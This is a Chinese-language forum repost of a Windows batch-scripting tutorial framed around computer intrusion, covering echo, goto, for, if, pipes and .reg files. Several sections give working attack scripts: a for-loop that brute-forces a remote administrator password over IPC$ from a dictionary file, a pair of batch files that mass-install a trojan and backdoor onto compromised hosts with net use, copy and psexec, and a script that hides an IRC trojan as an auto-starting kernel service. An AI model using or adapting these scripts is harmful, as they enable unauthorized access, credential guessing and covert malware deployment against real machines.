批處理命令

kfhgajofwensjdf發表於2010-11-09

批處理檔案是無格式的文字檔案，它包含一條或多條命令。它的副檔名為.bat或.cmd。在命令提示下鍵入批處理檔案的名稱，或者雙擊該批處理檔案，系統就會呼叫Cmd.exe按照該檔案中各個命令出現的順序來逐個執行它們。使用批處理檔案（也被稱為批處理程式或指令碼），可以簡化日常或重複性任務。當然我們的這個版本的主要內容是介紹批處理在入侵中一些實際運用，例如我們後面要提到的用批處理檔案來給系統打補丁、批量植入後門程式等。下面就開始我們批處理學習之旅吧。  

一.簡單批處理內部命令簡介  
1.Echo命令  
開啟回顯或關閉請求回顯功能，或顯示訊息。如果沒有任何引數，echo命令將顯示當前回顯設定。  
語法  
echo[{on|off}][message]  
Sample：@echooff/echohelloworld  
在實際應用中我們會把這條命令和重定向符號（也稱為管道符號，一般用>>>^）結合來實現輸入一些命令到特定格式的檔案中.這將在以後的例子中體現出來。  

2.@命令  
表示不顯示@後面的命令，在入侵過程中（例如使用批處理來格式化敵人的硬碟）自然不能讓對方看到你使用的命令啦。  
Sample：@echooff  
@echoNowinitializingtheprogram,pleasewaitaminite...  
@formatX:/q/u/autoset(format這個命令是不可以使用/y這個引數的，可喜的是微軟留了個autoset這個引數給我們，效果和/y是一樣的。)  

3.Goto命令  
指定跳轉到標籤，找到標籤後，程式將處理從下一行開始的命令。  
語法：gotolabel（label是引數，指定所要轉向的批處理程式中的行。）  
Sample：  
if{%1}=={}gotonoparms  
if{%2}=={}gotonoparms（如果這裡的if、%1、%2你不明白的話，先跳過去，後面會有詳細的解釋。）  
@Remcheckparametersifnullshowusage  
:noparms  
echoUsage:monitor.batServerIPPortNumber  
gotoend  
標籤的名字可以隨便起，但是最好是有意義的字母啦，字母前加個：用來表示這個字母是標籤，goto命令就是根據這個：來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。  

4.Rem命令  
註釋命令，在C語言中相當與/*--------*/,它並不會被執行，只是起一個註釋的作用，便於別人閱讀和你自己日後修改。  
RemMessage  
Sample：@RemHereisthedescription.  

5.Pause命令  
執行Pause命令時，將顯示下面的訊息：  
Pressanykeytocontinue...  
Sample：  
@echooff  
egin  
copya .*d：back  
echoPleaseputanewdiskintodriverA  
pause  
gotobegin  
在這個例子中，驅動器A中磁碟上的所有檔案均複製到d ack中。顯示的註釋提示您將另一張磁碟放入驅動器A時，pause命令會使程式掛起，以便您更換磁碟，然後按任意鍵繼續處理。  

6.Call命令  
從一個批處理程式呼叫另一個批處理程式，並且不終止父批處理程式。call命令接受用作呼叫目標的標籤。如果在指令碼或批處理檔案外使用Call，它將不會在命令列起作用。  
語法  
call[Drive:][Path]FileName[BatchParameters][:label[arguments]  
引數  
[Drive:}[Path]FileName  
指定要呼叫的批處理程式的位置和名稱。filename引數必須具有.bat或.cmd副檔名。  

7.start命令  
呼叫外部程式，所有的DOS命令和命令列程式都可以由start命令來呼叫。  
入侵常用引數：  
MIN開始時視窗最小化  
SEPARATE在分開的空間內開始16位Windows程式  
HIGH在HIGH優先順序類別開始應用程式  
REALTIME在REALTIME優先順序類別開始應用程式  
WAIT啟動應用程式並等候它結束  
parameters這些為傳送到命令/程式的引數  
執行的應用程式是32-位GUI應用程式時，CMD.EXE不等應用程式終止就返回命令提示。如果在命令指令碼內執行，該新行為則不會發生。  
8.choice命令  
choice使用此命令可以讓使用者輸入一個字元，從而執行不同的命令。使用時應該加/c:引數，c:後應寫提示可輸入的字元，之間無空格。它的返回碼為1234……  
60.195.204.*

2樓

如:choice/c:dmedefrag,mem,end  
將顯示  
defrag,mem,end[D,M,E]?  
Sample：  
Sample.bat的內容如下:  
@echooff  
choice/c:dmedefrag,mem,end  
iferrorlevel3gotodefrag（應先判斷數值最高的錯誤碼）  
iferrorlevel2gotomem  
iferrotlevel1gotoend  

:defrag  
c:dosdefrag  
gotoend  
:mem  
mem  
gotoend  
:end  
echogoodbye  

此檔案執行後，將顯示defrag,mem,end[D,M,E]?使用者可選擇dme，然後if語句將作出判斷，d表示執行標號為defrag的程式段，m表示執行標號為mem的程式段，e表示執行標號為end的程式段，每個程式段最後都以gotoend將程式跳到end標號處，然後程式將顯示goodbye，檔案結束。  

9.If命令  

if表示將判斷是否符合規定的條件，從而決定執行不同的命令。有三種格式:  
1、if"引數"=="字串" 待執行的命令  
引數如果等於指定的字串，則條件成立，執行命令，否則執行下一句。(注意是兩個等號）  
如if"%1"=="a"formata:  
if{%1}=={}gotonoparms  
if{%2}=={}gotonoparms  

2、ifexist檔名 待執行的命令  
如果有指定的檔案，則條件成立，執行命令，否則執行下一句。  
如ifexistconfig.syseditconfig.sys  

3、iferrorlevel/ifnoterrorlevel數字 待執行的命令  
如果返回碼等於指定的數字，則條件成立，執行命令，否則執行下一句。  
如iferrorlevel2gotox2  
DOS程式執行時都會返回一個數字給DOS，稱為錯誤碼errorlevel或稱返回碼，常見的返回碼為0、1。  

10.for命令  
for命令是一個比較複雜的命令，主要用於引數在指定的範圍內迴圈執行命令。  
在批處理檔案中使用FOR命令時，指定變數請使用%%variable  

for{%variable|%%variable}in(set)docommand[CommandLineOptions]  
%variable指定一個單一字母可替換的引數。  
(set)指定一個或一組檔案。可以使用萬用字元。  
command指定對每個檔案執行的命令。  
command-parameters為特定命令指定引數或命令列開關。  
在批處理檔案中使用FOR命令時，指定變數請使用%%variable  
而不要用%variable。變數名稱是區分大小寫的，所以%i不同於%I  

如果命令副檔名被啟用，下列額外的FOR命令格式會受到  
支援:  

FOR/D%variableIN(set)DOcommand[command-parameters]  

如果集中包含萬用字元，則指定與目錄名匹配，而不與檔案  
名匹配。  

FOR/R[drive:]path]%variableIN(set)DOcommand[command-  

檢查以[drive:]path為根的目錄樹，指向每個目錄中的  
FOR語句。如果在/R後沒有指定目錄，則使用當前  
目錄。如果集僅為一個單點(.)字元，則列舉該目錄樹。  

FOR/L%variableIN(start,step,end)DOcommand[command-para  

該集表示以增量形式從開始到結束的一個數字序列。  
因此，(1,1,5)將產生序列12345，(5,-1,1)將產生  
序列(54321)。  

FOR/F["options"]%variableIN(file-set)DOcommand  
FOR/F["options"]%variableIN("string"t DOcommand  
FOR/F["options"]%variableIN('command')DOcommand  

或者，如果有usebackq選項:  

FOR/F["options"]%variableIN(file-set)DOcommand  
FOR/F["options"]%variableIN("string"t DOcommand  
FOR/F["options"]%variableIN('command')DOcommand  

filenameset為一個或多個檔名。繼續到filenameset中的  
下一個檔案之前，每份檔案都已被開啟、讀取並經過處理。  
處理包括讀取檔案，將其分成一行行的文字，然後將每行  
解析成零或更多的符號。然後用已找到的符號字串變數值  
呼叫For迴圈。以預設方式，/F通過每個檔案的每一行中分開  
的第一個空白符號。跳過空白行。您可通過指定可選"options"  
引數替代預設解析操作。這個帶引號的字串包括一個或多個  
指定不同解析選項的關鍵字。這些關鍵字為:  

eol=c-指一個行註釋字元的結尾(就一個)  
60.195.204.*

3樓

skip=n-指在檔案開始時忽略的行數。  
delims=xxx-指分隔符集。這個替換了空格和跳格鍵的  
預設分隔符集。  
tokens=x,y,m-n-指每行的哪一個符號被傳遞到每個迭代  
的for本身。這會導致額外變數名稱的  
格式為一個範圍。通過nth符號指定m  
符號字串中的最後一個字元星號，  
那麼額外的變數將在最後一個符號解析之  
分配並接受行的保留文字。  
usebackq-指定新語法已在下類情況中使用:  
在作為命令執行一個後引號的字串並且  
引號字元為文字字串命令並允許在fi  
中使用雙引號擴起檔名稱。  

sample1:  
FOR/F"eol=;tokens=2,3*delims=,"%iin(myfile.txt)docommand  

會分析myfile.txt中的每一行，忽略以分號打頭的那些行，將  
每行中的第二個和第三個符號傳遞給for程式體；用逗號和/或  
空格定界符號。請注意，這個for程式體的語句引用%i來  
取得第二個符號，引用%j來取得第三個符號，引用%k  
來取得第三個符號後的所有剩餘符號。對於帶有空格的檔案  
名，您需要用雙引號將檔名括起來。為了用這種方式來使  
用雙引號，您還需要使用usebackq選項，否則，雙引號會  
被理解成是用作定義某個要分析的字串的。  

%i專門在for語句中得到說明，%j和%k是通過  
tokens=選項專門得到說明的。您可以通過tokens=一行  
指定最多26個符號，只要不試圖說明一個高於字母'z'或  
'Z'的變數。請記住，FOR變數是單一字母、分大小寫和全域性的；  
同時不能有52個以上都在使用中。  

您還可以在相鄰字串上使用FOR/F分析邏輯；方法是，  
用單引號將括號之間的filenameset括起來。這樣，該字元  
串會被當作一個檔案中的一個單一輸入行。  

最後，您可以用FOR/F命令來分析命令的輸出。方法是，將  
括號之間的filenameset變成一個反括字串。該字串會  
被當作命令列，傳遞到一個子CMD.EXE，其輸出會被抓進  
記憶體，並被當作檔案分析。因此，以下例子:  

FOR/F"usebackqdelims=="%iIN(`set`)DO@echo%i  

會列舉當前環境中的環境變數名稱。  

另外，FOR變數參照的替換已被增強。您現在可以使用下列  
選項語法:  

~I-刪除任何引號("t ，擴充%I  
%~fI-將%I擴充到一個完全合格的路徑名  
%~dI-僅將%I擴充到一個驅動器號  
%~pI-僅將%I擴充到一個路徑  
%~nI-僅將%I擴充到一個檔名  
%~xI-僅將%I擴充到一個副檔名  
%~sI-擴充的路徑只含有短名  
%~aI-將%I擴充到檔案的檔案屬性  
%~tI-將%I擴充到檔案的日期/時間  
%~zI-將%I擴充到檔案的大小  
%~$PATH:I-查詢列在路徑環境變數的目錄，並將%I擴充  
到找到的第一個完全合格的名稱。如果環境變數  
未被定義，或者沒有找到檔案，此組合鍵會擴充  
空字串  

可以組合修飾符來得到多重結果:  

%~dpI-僅將%I擴充到一個驅動器號和路徑  
%~nxI-僅將%I擴充到一個檔名和副檔名  
%~fsI-僅將%I擴充到一個帶有短名的完整路徑名  
%~dp$PATH:i-查詢列在路徑環境變數的目錄，並將%I擴充  
到找到的第一個驅動器號和路徑。  
%~ftzaI-將%I擴充到類似輸出線路的DIR  

在以上例子中，%I和PATH可用其他有效數值代替。%~語法  
用一個有效的FOR變數名終止。選取類似%I的大寫變數名  
比較易讀，而且避免與不分大小寫的組合鍵混淆。  

二、引用舉例  
以上是MS的官方幫助，下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。  

sample2：  
引用:  
利用For命令來實現對一臺目標Win2k主機的暴力密碼破解。  
我們用netuse/ipipc$"password"/u:"administrator"來嘗試這和目標主機進行連線，當成功時記下密碼。  
最主要的命令是一條：for/fi%in(dict.txt)donetuse/ipipc$"i%"/u:"administrator"  
用i%來表示admin的密碼，在dict.txt中這個取i%的值用netuse命令來連線。然後將程式執行結果傳遞給find命令－－  
for/fi%%in(dict.txt)donetuse/ipipc$"i%%"/u:"administrator"|find":命令成功完成">>D k.txt，這樣就ko了。  
60.195.204.*

4樓



sample3：  

你有沒有過手裡有大量肉雞等著你去種後門＋木馬呢？，當數量特別多的時候，原本很開心的一件事都會變得很鬱悶：）。文章開頭就談到使用批處理檔案，可以簡化日常或重複性任務。那麼如何實現呢？呵呵，看下去你就會明白了。  

主要命令也只有一條：（在批處理檔案中使用FOR命令時，指定變數使用%%variable）  
@for/f"tokens=1,2,3delims="%%iin(victim.txt)dostartcalldoor.bat%%i%%j%%k  
tokens的用法請參見上面的sample1，在這裡它表示按順序將victim.txt中的內容傳遞給door.bat中的引數%i%j%k。  
而cultivate.bat無非就是用netuse命令來建立IPC$連線，並copy木馬＋後門到victim，然後用返回碼（Iferrorlever=）來篩選成功種植後門的主機，並echo出來，或者echo到指定的檔案。  
delims=表示vivtim.txt中的內容是一空格來分隔的。我想看到這裡你也一定明白這victim.txt裡的內容是什麼樣的了。應該根據%%i%%j%%k表示的物件來排列，一般就是ippasswordusername。  
程式碼雛形：  
---------------cutherethensaveasabatchfile(Icallitmain.batp ---------------------------  
@echooff  
@if"%1"==""gotousage  
@for/f"tokens=1,2,3delims="%%iin(victim.txt)dostartcallIPChack.bat%%i%%j%%k  
@gotoend  
:usage  
@echorunthisbatchindosmodle.orjustdouble-clickit.  
:end  
---------------cutherethensaveasabatchfile(Icallitmain.batp ---------------------------  


-------------------cutherethensaveasabatchfile(Icallitdoor.bat)-----------------------------  
@netuse/%1ipc$%3/u:"%2"  
@iferrorlevel1gotofailed  
@echoTryingtoestablishtheIPC$connection…………OK  
@copywindrv32.exe/%1admin$system32&&ifnoterrorlevel1echoIP%1USER%2PWD%3>>ko.txt  
@psexec/%1c:winntsystem32windrv32.exe  
@psexec/%1netstartwindrv32&&ifnoterrorlevel1echo%1Backdoored>>ko.txt  
:failed  
@echoSorrycannotconnectedtothevictim.  
-----------------cutherethensaveasabatchfile(Icallitdoor.bat)--------------------------------  
這只是一個自動種植後門批處理的雛形，兩個批處理和後門程式（Windrv32.exe）,PSexec.exe需放在統一目錄下.批處理內容 
尚可擴充套件,例如:加入清除日誌+DDOS的功能,加入定時新增使用者的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.  

三、如何在批處理檔案中使用引數  
批處理中可以使用引數，一般從1%到9%這九個，當有多個引數時需要用shift來移動，這種情況並不多見，我們就不考慮它了。  
sample1：fomat.bat  
@echooff  
if"%1"=="a"formata:  
:format  
@formata:/q/u/auotset  
@echopleaseinsertanotherdisktodriverA.  
@pause  
@gotofomat  
這個例子用於連續地格式化幾張軟盤，所以用的時候需在dos視窗輸入fomat.bata，呵呵,好像有點畫蛇添足了～^_^  
sample2：  
當我們要建立一個IPC$連線地時候總要輸入一大串命令，弄不好就打錯了，所以我們不如把一些固定命令寫入一個批處理，把肉雞地ippasswordusername當著引數來賦給這個批處理，這樣就不用每次都打命令了。  
@echooff  
@netuse/1%ipc$"2%"/u:"3%"注意哦，這裡PASSWORD是第二個引數。  
@iferrorlevel1echoconnectionfailed  
怎麼樣,使用引數還是比較簡單的吧？你這麼帥一定學會了^_^.  

四、如何使用組合命令(CompoundCommand)  

1.&  

Usage：第一條命令&第二條命令[&第三條命令...]  

用這種方法可以同時執行多條命令，而不管命令是否執行成功  

Sample：  
C:>dirz:&dirc:Ex4rch  
Thesystemcannotfindthepathspecified.  
VolumeindriveChasnolabel.  
VolumeSerialNumberis0078-59FB  
60.195.204.*

5樓


Directoryofc:Ex4rch  

2002-05-1423:51  
.  
2002-05-1423:51  
..  
2002-05-1423:5114sometips.gif  

2.&&  

Usage：第一條命令&&第二條命令[&&第三條命令...]  

用這種方法可以同時執行多條命令，當碰到執行出錯的命令後將不執行後面的命令，如果一直沒有出錯則一直執行完所有命令；  

Sample：  
C:>dirz:&&dirc:Ex4rch  
Thesystemcannotfindthepathspecified.  

C:>dirc:Ex4rch&&dirz:  
VolumeindriveChasnolabel.  
VolumeSerialNumberis0078-59FB  

Directoryofc:Ex4rch  

2002-05-1423:55  
.  
2002-05-1423:55  
..  
2002-05-1423:5514sometips.gif  
1File(s)14bytes  
2Dir(s)768,671,744bytesfree  
Thesystemcannotfindthepathspecified.  

在做備份的時候可能會用到這種命令會比較簡單，如：  
dirfile://192.168.0.1/database/backup.mdb&©file://192.168.0.1/database/backup.mdbE ackup  
如果遠端伺服器上存在backup.mdb檔案，就執行copy命令，若不存在該檔案則不執行copy命令。這種用法可以替換IFexist了：）  

3.||  

Usage：第一條命令||第二條命令[||第三條命令...]  

用這種方法可以同時執行多條命令，當碰到執行正確的命令後將不執行後面的命令，如果沒有出現正確的命令則一直執行完所有命令；  

Sample：  
C:Ex4rch>dirsometips.gif||delsometips.gif  
VolumeindriveChasnolabel.  
VolumeSerialNumberis0078-59FB  

DirectoryofC:Ex4rch  

2002-05-1423:5514sometips.gif  
1File(s)14bytes  
0Dir(s)768,696,320bytesfree  

組合命令使用的例子：  
sample：  
@copytrojan.exe/%1admin$system32&&ifnoterrorlevel1echoIP%1USER%2PASS%3>>victim.txt  

五、管道命令的使用  

1.|命令  
Usage：第一條命令|第二條命令[|第三條命令...]  
將第一條命令的結果作為第二條命令的引數來使用，記得在unix中這種方式很常見。  

sample：  
time/t>>D:IP.log  
netstat-n-ptcp|find":3389">>D:IP.log  
startExplorer  
看出來了麼？用於終端服務允許我們為使用者自定義起始的程式，來實現讓使用者執行下面這個bat，以獲得登入使用者的IP。  

2.>、>>輸出重定向命令  
將一條命令或某個程式輸出結果的重定向到特定檔案中,>與>>的區別在於，>會清除調原有檔案中的內容後寫入指定檔案，而>>只會追加內容到指定檔案中，而不會改動其中的內容。  

sample1：  
echohelloworld>c:hello.txt(stupidexample?)  

sample2:  
時下DLL木馬盛行，我們知道system32是個捉迷藏的好地方，許多木馬都削尖了腦袋往那裡鑽，DLL馬也不例外，針對這一點我們可以在安裝好系統和必要的應用程式後，對該目錄下的EXE和DLL檔案作一個記錄：  
執行CMD--轉換目錄到system32--dir*.exe>exeback.txt&dir*.dll>dllback.txt,  
這樣所有的EXE和DLL檔案的名稱都被分別記錄到exeback.txt和dllback.txt中,  
日後如發現異常但用傳統的方法查不出問題時,則要考慮是不是系統中已經潛入DLL木馬了.  
這時我們用同樣的命令將system32下的EXE和DLL檔案記錄到另外的exeback1.txt和dllback1.txt中,然後執行:  
CMD--fcexeback.txtexeback1.txt>diff.txt&fcdllback.txtdllback1.txt>diff.txt.(用FC命令比較前後兩次的DLL和EXE檔案,並將結果輸入到diff.txt中),這樣我們就能發現一些多出來的DLL和EXE檔案,然後通過檢視建立時間、版本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被DLL木馬光顧了。沒有是最好，如果有的話也不要直接DEL掉，先用regsvr32/utrojan.dll將後門DLL檔案登出掉,再把它移到回收站裡，若系統沒有異常反映再將之徹底刪除或者提交給防毒軟體公司。  

3.<、>&、<&  
<從檔案中而不是從鍵盤中讀入命令輸入。  
>&將一個控制程式碼的輸出寫入到另一個控制程式碼的輸入中。  
60.195.204.*

6樓

<&從一個控制程式碼讀取輸入並將其寫入到另一個控制程式碼輸出中。  
這些並不常用，也就不多做介紹。  

六、如何用批處理檔案來操作登錄檔  

在入侵過程中經常回操作登錄檔的特定的鍵值來實現一定的目的，例如:為了達到隱藏後門、木馬程式而刪除Run下殘餘的鍵值。或者建立一個服務用以載入後門。當然我們也會修改登錄檔來加固系統或者改變系統的某個屬性，這些都需要我們對登錄檔操作有一定的瞭解。下面我們就先學習一下如何使用.REG檔案來操作登錄檔.(我們可以用批處理來生成一個REG檔案)  
關於登錄檔的操作，常見的是建立、修改、刪除。  

1.建立  
建立分為兩種，一種是建立子項(Subkey)  

我們建立一個檔案，內容如下：  

WindowsRegistryEditorVersion5.00  

[HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker]  

然後執行該指令碼，你就已經在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下建立了一個名字為“hacker”的子項。  

另一種是建立一個專案名稱  
那這種檔案格式就是典型的檔案格式，和你從登錄檔中匯出的檔案格式一致，內容如下：  

WindowsRegistryEditorVersion5.00  

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]  
"Invader"="Ex4rch"  
"Door"=C:/WINNT/system32/door.exe  
"Autodos"=dword:02  

這樣就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下  
新建了:Invader、door、about這三個專案  
Invader的型別是“StringValue”  
door的型別是“REGSZValue”  
Autodos的型別是“DWORDValue”  


2.修改  
修改相對來說比較簡單，只要把你需要修改的專案匯出，然後用記事本進行修改，然後匯入（regedit/s）即可。  

3.刪除  
我們首先來說說刪除一個專案名稱，我們建立一個如下的檔案：  

WindowsRegistryEditorVersion5.00  

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]  
"Ex4rch"=-  

執行該指令碼，[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下的"Ex4rch"就被刪除了；  

我們再看看刪除一個子項，我們建立一個如下的指令碼：  

WindowsRegistryEditorVersion5.00  

[-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]  

執行該指令碼，[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]就已經被刪除了。  

相信看到這裡，.reg檔案你基本已經掌握了。那麼現在的目標就是用批處理來建立特定內容的.reg檔案了，記得我們前面說道的利用重定向符號可以很容易地建立特定型別的檔案。  

samlpe1:如上面的那個例子,如想生成如下注冊表檔案  
WindowsRegistryEditorVersion5.00  

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]  
"Invader"="Ex4rch"  
"door"=hex:255  
"Autodos"=dword:000000128  
只需要這樣：  
@echoWindowsRegistryEditorVersion5.00>>Sample.reg  

@echo[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>Sample.reg  
@echo"Invader"="Ex4rch">>Sample.reg  
@echo"door"=5>>C:/WINNT/system32/door.exe>>Sample.reg  
@echo"Autodos"=dword:02>>Sample.reg  


samlpe2:  
我們現在在使用一些比較老的木馬時,可能會在登錄檔的[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、Runservices、Runexec)]下生成一個鍵值用來實現木馬的自啟動.但是這樣很容易暴露木馬程式的路徑,從而導致木馬被查殺,相對地若是將木馬程式註冊為系統服務則相對安全一些.下面以配置好地IRC木馬DSNX為例(名為windrv32.exe)  
@startwindrv32.exe  
@attrib+h+rwindrv32.exe  
@echo[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>>patch.dll  
@echo"windsnx"=->>patch.dll  
@sc.execreateWindriversrvtype=kernelstart=autodisplayname=WindowsDriverbinpath=c:winntsystem32windrv32.exe  
@regedit/spatch.dll  
@deletepatch.dll  

@REM[刪除DSNXDE在登錄檔中的啟動項，用sc.exe將之註冊為系統關鍵性服務的同時將其屬性設為隱藏和只讀，並config為自啟動]  
@REM這樣不是更安全^_^.  

七、精彩例項放送  
1.刪除win2k/xp系統預設共享的批處理  
------------------------cutherethensaveas.bator.cmdfile---------------------------  

@echopreparingtodeleteallthedefaultshares.whenreadypresanykey.  
@pause  
@echooff  

:Remcheckparametersifnullshowusage.  
if{%1}=={}goto:Usage  

:Remcodestart.  
echo.  
echo------------------------------------------------------  
echo.  
echoNowdeletingallthedefaultshares.  
echo.  
netshare%1$/delete  
netshare%2$/delete  
netshare%3$/delete  
netshare%4$/delete  
netshare%5$/delete  
netshare%6$/delete  
netshare%7$/delete  
netshare%8$/delete  
netshare%9$/delete  
netstopServer  
netstartServer  
echo.  
echoAlltheshareshavebeendeleteed  
echo.  
echo------------------------------------------------------  
echo.  
echoNowmodifytheregistrytochangethesystemdefaultproperties.  
echo.  
echoNowcreatingtheregistryfile  
echoWindowsRegistryEditorVersion5.00>c:delshare.reg  
echo[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>>c:delshare.reg  
echo"AutoShareWks"=dword:00000000>>c:delshare.reg 

相關文章